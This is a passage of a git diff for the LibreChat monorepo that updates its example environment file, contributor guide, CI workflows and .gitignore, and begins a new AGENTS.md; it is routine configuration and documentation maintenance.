diff --git a/.env.example b/.env.example
index 9864a41482..e746737ea4 100644
--- a/.env.example
+++ b/.env.example
@@ -47,6 +47,10 @@ TRUST_PROXY=1
# password policies.
# MIN_PASSWORD_LENGTH=8
+# When enabled, the app will continue running after encountering uncaught exceptions
+# instead of exiting the process. Not recommended for production unless necessary.
+# CONTINUE_ON_UNCAUGHT_EXCEPTION=false
+
#===============#
# JSON Logging #
#===============#
@@ -61,6 +65,9 @@ CONSOLE_JSON=false
DEBUG_LOGGING=true
DEBUG_CONSOLE=false
+# Enable memory diagnostics (logs heap/RSS snapshots every 60s, auto-enabled with --inspect)
+# MEM_DIAG=true
+
#=============#
# Permissions #
#=============#
@@ -87,6 +94,16 @@ NODE_MAX_OLD_SPACE_SIZE=6144
# CONFIG_PATH="/alternative/path/to/librechat.yaml"
+#==================#
+# Langfuse Tracing #
+#==================#
+
+# Get Langfuse API keys for your project from the project settings page: https://cloud.langfuse.com
+
+# LANGFUSE_PUBLIC_KEY=
+# LANGFUSE_SECRET_KEY=
+# LANGFUSE_BASE_URL=
+
#===================================================#
# Endpoints #
#===================================================#
@@ -121,7 +138,7 @@ PROXY=
#============#
ANTHROPIC_API_KEY=user_provided
-# ANTHROPIC_MODELS=claude-opus-4-20250514,claude-sonnet-4-20250514,claude-3-7-sonnet-20250219,claude-3-5-sonnet-20241022,claude-3-5-haiku-20241022,claude-3-opus-20240229,claude-3-sonnet-20240229,claude-3-haiku-20240307
+# ANTHROPIC_MODELS=claude-sonnet-4-6,claude-opus-4-6,claude-opus-4-20250514,claude-sonnet-4-20250514,claude-3-7-sonnet-20250219,claude-3-5-sonnet-20241022,claude-3-5-haiku-20241022,claude-3-opus-20240229,claude-3-sonnet-20240229,claude-3-haiku-20240307
# ANTHROPIC_REVERSE_PROXY=
# Set to true to use Anthropic models through Google Vertex AI instead of direct API
@@ -156,7 +173,8 @@ ANTHROPIC_API_KEY=user_provided
# BEDROCK_AWS_SESSION_TOKEN=someSessionToken
# Note: This example list is not meant to be exhaustive. If omitted, all known, supported model IDs will be included for you.
-# BEDROCK_AWS_MODELS=anthropic.claude-3-5-sonnet-20240620-v1:0,meta.llama3-1-8b-instruct-v1:0
+# BEDROCK_AWS_MODELS=anthropic.claude-sonnet-4-6,anthropic.claude-opus-4-6-v1,anthropic.claude-3-5-sonnet-20240620-v1:0,meta.llama3-1-8b-instruct-v1:0
+# Cross-region inference model IDs: us.anthropic.claude-sonnet-4-6,us.anthropic.claude-opus-4-6-v1,global.anthropic.claude-opus-4-6-v1
# See all Bedrock model IDs here: https://docs.aws.amazon.com/bedrock/latest/userguide/model-ids.html#model-ids-arns
@@ -178,10 +196,10 @@ GOOGLE_KEY=user_provided
# GOOGLE_AUTH_HEADER=true
# Gemini API (AI Studio)
-# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
+# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash,gemini-2.0-flash-lite
# Vertex AI
-# GOOGLE_MODELS=gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
+# GOOGLE_MODELS=gemini-3.1-pro-preview,gemini-3.1-pro-preview-customtools,gemini-3.1-flash-lite-preview,gemini-2.5-pro,gemini-2.5-flash,gemini-2.5-flash-lite,gemini-2.0-flash-001,gemini-2.0-flash-lite-001
# GOOGLE_TITLE_MODEL=gemini-2.0-flash-lite-001
@@ -228,10 +246,6 @@ GOOGLE_KEY=user_provided
# Option A: Use dedicated Gemini API key for image generation
# GEMINI_API_KEY=your-gemini-api-key
-# Option B: Use Vertex AI (no API key needed, uses service account)
-# Set this to enable Vertex AI and allow tool without requiring API keys
-# GEMINI_VERTEX_ENABLED=true
-
# Vertex AI model for image generation (defaults to gemini-2.5-flash-image)
# GEMINI_IMAGE_MODEL=gemini-2.5-flash-image
@@ -499,6 +513,9 @@ OPENID_ADMIN_ROLE_TOKEN_KIND=
OPENID_USERNAME_CLAIM=
# Set to determine which user info property returned from OpenID Provider to store as the User's name
OPENID_NAME_CLAIM=
+# Set to determine which user info claim to use as the email/identifier for user matching (e.g., "upn" for Entra ID)
+# When not set, defaults to: email -> preferred_username -> upn
+OPENID_EMAIL_CLAIM=
# Optional audience parameter for OpenID authorization requests
OPENID_AUDIENCE=
@@ -643,6 +660,9 @@ AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_REGION=
AWS_BUCKET_NAME=
+# Required for path-style S3-compatible providers (MinIO, Hetzner, Backblaze B2, etc.)
+# that don't support virtual-hosted-style URLs (bucket.endpoint). Not needed for AWS S3.
+# AWS_FORCE_PATH_STYLE=false
#========================#
# Azure Blob Storage #
@@ -657,7 +677,8 @@ AZURE_CONTAINER_NAME=files
#========================#
ALLOW_SHARED_LINKS=true
-ALLOW_SHARED_LINKS_PUBLIC=true
+# Allows unauthenticated access to shared links. Defaults to false (auth required) if not set.
+ALLOW_SHARED_LINKS_PUBLIC=false
#==============================#
# Static File Cache Control #
@@ -737,8 +758,10 @@ HELP_AND_FAQ_URL=https://librechat.ai
# REDIS_PING_INTERVAL=300
# Force specific cache namespaces to use in-memory storage even when Redis is enabled
-# Comma-separated list of CacheKeys (e.g., ROLES,MESSAGES)
-# FORCED_IN_MEMORY_CACHE_NAMESPACES=ROLES,MESSAGES
+# Comma-separated list of CacheKeys
+# Defaults to CONFIG_STORE,APP_CONFIG so YAML-derived config stays per-container (safe for blue/green deployments)
+# Set to empty string to force all namespaces through Redis: FORCED_IN_MEMORY_CACHE_NAMESPACES=
+# FORCED_IN_MEMORY_CACHE_NAMESPACES=CONFIG_STORE,APP_CONFIG
# Leader Election Configuration (for multi-instance deployments with Redis)
# Duration in seconds that the leader lease is valid before it expires (default: 25)
@@ -827,3 +850,24 @@ OPENWEATHER_API_KEY=
# Skip code challenge method validation (e.g., for AWS Cognito that supports S256 but doesn't advertise it)
# When set to true, forces S256 code challenge even if not advertised in .well-known/openid-configuration
# MCP_SKIP_CODE_CHALLENGE_CHECK=false
+
+# Circuit breaker: max connect/disconnect cycles before tripping (per server)
+# MCP_CB_MAX_CYCLES=7
+
+# Circuit breaker: sliding window (ms) for counting cycles
+# MCP_CB_CYCLE_WINDOW_MS=45000
+
+# Circuit breaker: cooldown (ms) after the cycle breaker trips
+# MCP_CB_CYCLE_COOLDOWN_MS=15000
+
+# Circuit breaker: max consecutive failed connection rounds before backoff
+# MCP_CB_MAX_FAILED_ROUNDS=3
+
+# Circuit breaker: sliding window (ms) for counting failed rounds
+# MCP_CB_FAILED_WINDOW_MS=120000
+
+# Circuit breaker: base backoff (ms) after failed round threshold is reached
+# MCP_CB_BASE_BACKOFF_MS=30000
+
+# Circuit breaker: max backoff cap (ms) for exponential backoff
+# MCP_CB_MAX_BACKOFF_MS=300000
diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md
index ad0a75ab9b..ae9e6d8e4b 100644
--- a/.github/CONTRIBUTING.md
+++ b/.github/CONTRIBUTING.md
@@ -26,18 +26,14 @@ Project maintainers have the right and responsibility to remove, edit, or reject
## 1. Development Setup
-1. Use Node.JS 20.x.
-2. Install typescript globally: `npm i -g typescript`.
-3. Run `npm ci` to install dependencies.
-4. Build the data provider: `npm run build:data-provider`.
-5. Build data schemas: `npm run build:data-schemas`.
-6. Build API methods: `npm run build:api`.
-7. Setup and run unit tests:
+1. Use Node.js v20.19.0+ or ^22.12.0 or >= 23.0.0.
+2. Run `npm run smart-reinstall` to install dependencies (uses Turborepo). Use `npm run reinstall` for a clean install, or `npm ci` for a fresh lockfile-based install.
+3. Build all compiled code: `npm run build`.
+4. Setup and run unit tests:
- Copy `.env.test`: `cp api/test/.env.test.example api/test/.env.test`.
- Run backend unit tests: `npm run test:api`.
- Run frontend unit tests: `npm run test:client`.
-8. Setup and run integration tests:
- - Build client: `cd client && npm run build`.
+5. Setup and run integration tests:
- Create `.env`: `cp .env.example .env`.
- Install [MongoDB Community Edition](https://www.mongodb.com/docs/manual/administration/install-community/), ensure that `mongosh` connects to your local instance.
- Run: `npx install playwright`, then `npx playwright install`.
@@ -48,11 +44,11 @@ Project maintainers have the right and responsibility to remove, edit, or reject
## 2. Development Notes
1. Before starting work, make sure your main branch has the latest commits with `npm run update`.
-3. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
+2. Run linting command to find errors: `npm run lint`. Alternatively, ensure husky pre-commit checks are functioning.
3. After your changes, reinstall packages in your current branch using `npm run reinstall` and ensure everything still works.
- Restart the ESLint server ("ESLint: Restart ESLint Server" in VS Code command bar) and your IDE after reinstalling or updating.
4. Clear web app localStorage and cookies before and after changes.
-5. For frontend changes, compile typescript before and after changes to check for introduced errors: `cd client && npm run build`.
+5. To check for introduced errors, build all compiled code: `npm run build`.
6. Run backend unit tests: `npm run test:api`.
7. Run frontend unit tests: `npm run test:client`.
8. Run integration tests: `npm run e2e`.
@@ -118,50 +114,45 @@ Apply the following naming conventions to branches, labels, and other Git-relate
- **JS/TS:** Directories and file names: Descriptive and camelCase. First letter uppercased for React files (e.g., `helperFunction.ts, ReactComponent.tsx`).
- **Docs:** Directories and file names: Descriptive and snake_case (e.g., `config_files.md`).
-## 7. TypeScript Conversion
+## 7. Coding Standards
+
+For detailed coding conventions, workspace boundaries, and architecture guidance, refer to the [`AGENTS.md`](../AGENTS.md) file at the project root. It covers code style, type safety, import ordering, iteration/performance expectations, frontend rules, testing, and development commands.
+
+## 8. TypeScript Conversion
1. **Original State**: The project was initially developed entirely in JavaScript (JS).
-2. **Frontend Transition**:
- - We are in the process of transitioning the frontend from JS to TypeScript (TS).
- - The transition is nearing completion.
- - This conversion is feasible due to React's capability to intermix JS and TS prior to code compilation. It's standard practice to compile/bundle the code in such scenarios.
+2. **Frontend**: Fully transitioned to TypeScript.
-3. **Backend Considerations**:
- - Transitioning the backend to TypeScript would be a more intricate process, especially for an established Express.js server.
-
- - **Options for Transition**:
- - **Single Phase Overhaul**: This involves converting the entire backend to TypeScript in one go. It's the most straightforward approach but can be disruptive, especially for larger codebases.
-
- - **Incremental Transition**: Convert parts of the backend progressively. This can be done by:
- - Maintaining a separate directory for TypeScript files.
- - Gradually migrating and testing individual modules or routes.
- - Using a build tool like `tsc` to compile TypeScript files independently until the entire transition is complete.
-
- - **Compilation Considerations**:
- - Introducing a compilation step for the server is an option. This would involve using tools like `ts-node` for development and `tsc` for production builds.
- - However, this is not a conventional approach for Express.js servers and could introduce added complexity, especially in terms of build and deployment processes.
-
- - **Current Stance**: At present, this backend transition is of lower priority and might not be pursued.
+3. **Backend**:
+ - The legacy Express.js server remains in `/api` as JavaScript.
+ - All new backend code is written in TypeScript under `/packages/api`, which is compiled and consumed by `/api`.
+ - Shared database logic lives in `/packages/data-schemas` (TypeScript).
+ - Shared frontend/backend API types and services live in `/packages/data-provider` (TypeScript).
+ - Minimize direct changes to `/api`; prefer adding TypeScript code to `/packages/api` and importing it.
-## 8. Module Import Conventions
+## 9. Module Import Conventions
-- `npm` packages first,
- - from longest line (top) to shortest (bottom)
+Imports are organized into three sections (in order):
-- Followed by typescript types (pertains to data-provider and client workspaces)
- - longest line (top) to shortest (bottom)
- - types from package come first
+1. **Package imports** — sorted from shortest to longest line length.
+ - `react` is always the first import.
+ - Multi-line (stacked) imports count their total character length across all lines for sorting.
-- Lastly, local imports
- - longest line (top) to shortest (bottom)
- - imports with alias `~` treated the same as relative import with respect to line length
+2. **`import type` imports** — sorted from longest to shortest line length.
+ - Package type imports come first, then local type imports.
+ - Line length sorting resets between the package and local sub-groups.
+
+3. **Local/project imports** — sorted from longest to shortest line length.
+ - Multi-line (stacked) imports count their total character length across all lines for sorting.
+ - Imports with alias `~` are treated the same as relative imports with respect to line length.
+
+- Consolidate value imports from the same module as much as possible.
+- Always use standalone `import type { ... }` for type imports; never use inline `type` keyword inside value imports (e.g., `import { Foo, type Bar }` is wrong).
**Note:** ESLint will automatically enforce these import conventions when you run `npm run lint --fix` or through pre-commit hooks.
----
-
-Please ensure that you adapt this summary to fit the specific context and nuances of your project.
+For the full set of coding standards, see [`AGENTS.md`](../AGENTS.md).
---
diff --git a/.github/workflows/backend-review.yml b/.github/workflows/backend-review.yml
index 2379b8fee7..038c90627e 100644
--- a/.github/workflows/backend-review.yml
+++ b/.github/workflows/backend-review.yml
@@ -9,48 +9,145 @@ on:
paths:
- 'api/**'
- 'packages/**'
+
+env:
+ NODE_ENV: CI
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+
jobs:
- tests_Backend:
- name: Run Backend unit tests
- timeout-minutes: 60
+ build:
+ name: Build packages
runs-on: ubuntu-latest
- env:
- MONGO_URI: ${{ secrets.MONGO_URI }}
- OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
- JWT_SECRET: ${{ secrets.JWT_SECRET }}
- CREDS_KEY: ${{ secrets.CREDS_KEY }}
- CREDS_IV: ${{ secrets.CREDS_IV }}
- BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
- BAN_DURATION: ${{ secrets.BAN_DURATION }}
- BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
- NODE_ENV: CI
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+ timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- - name: Use Node.js 20.x
+
+ - name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
- node-version: 20
- cache: 'npm'
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Install Data Provider Package
+ - name: Restore data-provider build cache
+ id: cache-data-provider
+ uses: actions/cache@v4
+ with:
+ path: packages/data-provider/dist
+ key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build data-provider
+ if: steps.cache-data-provider.outputs.cache-hit != 'true'
run: npm run build:data-provider
- - name: Install Data Schemas Package
+ - name: Restore data-schemas build cache
+ id: cache-data-schemas
+ uses: actions/cache@v4
+ with:
+ path: packages/data-schemas/dist
+ key: build-data-schemas-${{ runner.os }}-${{ hashFiles('packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build data-schemas
+ if: steps.cache-data-schemas.outputs.cache-hit != 'true'
run: npm run build:data-schemas
- - name: Install API Package
+ - name: Restore api build cache
+ id: cache-api
+ uses: actions/cache@v4
+ with:
+ path: packages/api/dist
+ key: build-api-${{ runner.os }}-${{ hashFiles('packages/api/src/**', 'packages/api/tsconfig*.json', 'packages/api/server-rollup.config.js', 'packages/api/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json', 'packages/data-schemas/src/**', 'packages/data-schemas/tsconfig*.json', 'packages/data-schemas/rollup.config.js', 'packages/data-schemas/package.json') }}
+
+ - name: Build api
+ if: steps.cache-api.outputs.cache-hit != 'true'
run: npm run build:api
- - name: Create empty auth.json file
- run: |
- mkdir -p api/data
- echo '{}' > api/data/auth.json
+ - name: Upload data-provider build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+ retention-days: 2
- - name: Check for Circular dependency in rollup
+ - name: Upload data-schemas build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+ retention-days: 2
+
+ - name: Upload api build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-api
+ path: packages/api/dist
+ retention-days: 2
+
+ circular-deps:
+ name: Circular dependency checks
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Rebuild @librechat/api and check for circular dependencies
+ run: |
+ output=$(npm run build:api 2>&1)
+ echo "$output"
+ if echo "$output" | grep -q "Circular depend"; then
+ echo "Error: Circular dependency detected in @librechat/api!"
+ exit 1
+ fi
+
+ - name: Detect circular dependencies in rollup
working-directory: ./packages/data-provider
run: |
output=$(npm run rollup:api)
@@ -60,17 +157,201 @@ jobs:
exit 1
fi
+ test-api:
+ name: 'Tests: api'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+ env:
+ MONGO_URI: ${{ secrets.MONGO_URI }}
+ OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
+ JWT_SECRET: ${{ secrets.JWT_SECRET }}
+ CREDS_KEY: ${{ secrets.CREDS_KEY }}
+ CREDS_IV: ${{ secrets.CREDS_IV }}
+ BAN_VIOLATIONS: ${{ secrets.BAN_VIOLATIONS }}
+ BAN_DURATION: ${{ secrets.BAN_DURATION }}
+ BAN_INTERVAL: ${{ secrets.BAN_INTERVAL }}
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Download api build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-api
+ path: packages/api/dist
+
+ - name: Create empty auth.json file
+ run: |
+ mkdir -p api/data
+ echo '{}' > api/data/auth.json
+
- name: Prepare .env.test file
run: cp api/test/.env.test.example api/test/.env.test
- name: Run unit tests
run: cd api && npm run test:ci
- - name: Run librechat-data-provider unit tests
+ test-data-provider:
+ name: 'Tests: data-provider'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Run unit tests
run: cd packages/data-provider && npm run test:ci
- - name: Run @librechat/data-schemas unit tests
+ test-data-schemas:
+ name: 'Tests: data-schemas'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Run unit tests
run: cd packages/data-schemas && npm run test:ci
- - name: Run @librechat/api unit tests
+ test-packages-api:
+ name: 'Tests: @librechat/api'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ api/node_modules
+ packages/api/node_modules
+ packages/data-provider/node_modules
+ packages/data-schemas/node_modules
+ key: node-modules-backend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download data-schemas build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-schemas
+ path: packages/data-schemas/dist
+
+ - name: Download api build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-api
+ path: packages/api/dist
+
+ - name: Run unit tests
run: cd packages/api && npm run test:ci
diff --git a/.github/workflows/frontend-review.yml b/.github/workflows/frontend-review.yml
index 989e2e4abe..9c2d4a37b1 100644
--- a/.github/workflows/frontend-review.yml
+++ b/.github/workflows/frontend-review.yml
@@ -2,7 +2,7 @@ name: Frontend Unit Tests
on:
pull_request:
- branches:
+ branches:
- main
- dev
- dev-staging
@@ -11,51 +11,200 @@ on:
- 'client/**'
- 'packages/data-provider/**'
+env:
+ NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+
jobs:
- tests_frontend_ubuntu:
- name: Run frontend unit tests on Ubuntu
- timeout-minutes: 60
+ build:
+ name: Build packages
runs-on: ubuntu-latest
- env:
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+ timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- - name: Use Node.js 20.x
+
+ - name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
- node-version: 20
- cache: 'npm'
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Build Client
- run: npm run frontend:ci
+ - name: Restore data-provider build cache
+ id: cache-data-provider
+ uses: actions/cache@v4
+ with:
+ path: packages/data-provider/dist
+ key: build-data-provider-${{ runner.os }}-${{ hashFiles('packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build data-provider
+ if: steps.cache-data-provider.outputs.cache-hit != 'true'
+ run: npm run build:data-provider
+
+ - name: Restore client-package build cache
+ id: cache-client-package
+ uses: actions/cache@v4
+ with:
+ path: packages/client/dist
+ key: build-client-package-${{ runner.os }}-${{ hashFiles('packages/client/src/**', 'packages/client/tsconfig*.json', 'packages/client/rollup.config.js', 'packages/client/package.json', 'packages/data-provider/src/**', 'packages/data-provider/tsconfig*.json', 'packages/data-provider/rollup.config.js', 'packages/data-provider/package.json') }}
+
+ - name: Build client-package
+ if: steps.cache-client-package.outputs.cache-hit != 'true'
+ run: npm run build:client-package
+
+ - name: Upload data-provider build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+ retention-days: 2
+
+ - name: Upload client-package build
+ uses: actions/upload-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
+ retention-days: 2
+
+ test-ubuntu:
+ name: 'Tests: Ubuntu'
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download client-package build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
- name: Run unit tests
run: npm run test:ci --verbose
working-directory: client
- tests_frontend_windows:
- name: Run frontend unit tests on Windows
- timeout-minutes: 60
+ test-windows:
+ name: 'Tests: Windows'
+ needs: build
runs-on: windows-latest
- env:
- NODE_OPTIONS: '--max-old-space-size=${{ secrets.NODE_MAX_OLD_SPACE_SIZE || 6144 }}'
+ timeout-minutes: 20
steps:
- uses: actions/checkout@v4
- - name: Use Node.js 20.x
+
+ - name: Use Node.js 20.19
uses: actions/setup-node@v4
with:
- node-version: 20
- cache: 'npm'
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
- name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: npm ci
- - name: Build Client
- run: npm run frontend:ci
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download client-package build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
- name: Run unit tests
run: npm run test:ci --verbose
- working-directory: client
\ No newline at end of file
+ working-directory: client
+
+ build-verify:
+ name: Vite build verification
+ needs: build
+ runs-on: ubuntu-latest
+ timeout-minutes: 15
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Use Node.js 20.19
+ uses: actions/setup-node@v4
+ with:
+ node-version: '20.19'
+
+ - name: Restore node_modules cache
+ id: cache-node-modules
+ uses: actions/cache@v4
+ with:
+ path: |
+ node_modules
+ client/node_modules
+ packages/client/node_modules
+ packages/data-provider/node_modules
+ key: node-modules-frontend-${{ runner.os }}-20.19-${{ hashFiles('package-lock.json') }}
+
+ - name: Install dependencies
+ if: steps.cache-node-modules.outputs.cache-hit != 'true'
+ run: npm ci
+
+ - name: Download data-provider build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-data-provider
+ path: packages/data-provider/dist
+
+ - name: Download client-package build
+ uses: actions/download-artifact@v4
+ with:
+ name: build-client-package
+ path: packages/client/dist
+
+ - name: Build client
+ run: cd client && npm run build:ci
diff --git a/.gitignore b/.gitignore
index d173d26b60..86d4a3ddae 100644
--- a/.gitignore
+++ b/.gitignore
@@ -15,6 +15,7 @@ pids
# CI/CD data
test-image*
+dump.rdb
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
@@ -29,6 +30,9 @@ coverage
config/translations/stores/*
client/src/localization/languages/*_missing_keys.json
+# Turborepo
+.turbo
+
# Compiled Dirs (http://nodejs.org/api/addons.html)
build/
dist/
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 0000000000..ec44607aa7
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,166 @@
+# LibreChat
+
+## Project Overview
+
+LibreChat is a monorepo with the following key workspaces:
+
+| Workspace | Language | Side | Dependency | Purpose |
+|---|---|---|---|---|
+| `/api` | JS (legacy) | Backend | `packages/api`, `packages/data-schemas`, `packages/data-provider`, `@librechat/agents` | Express server — minimize changes here |
+| `/packages/api` | **TypeScript** | Backend | `packages/data-schemas`, `packages/data-provider` | New backend code lives here (TS only, consumed by `/api`) |
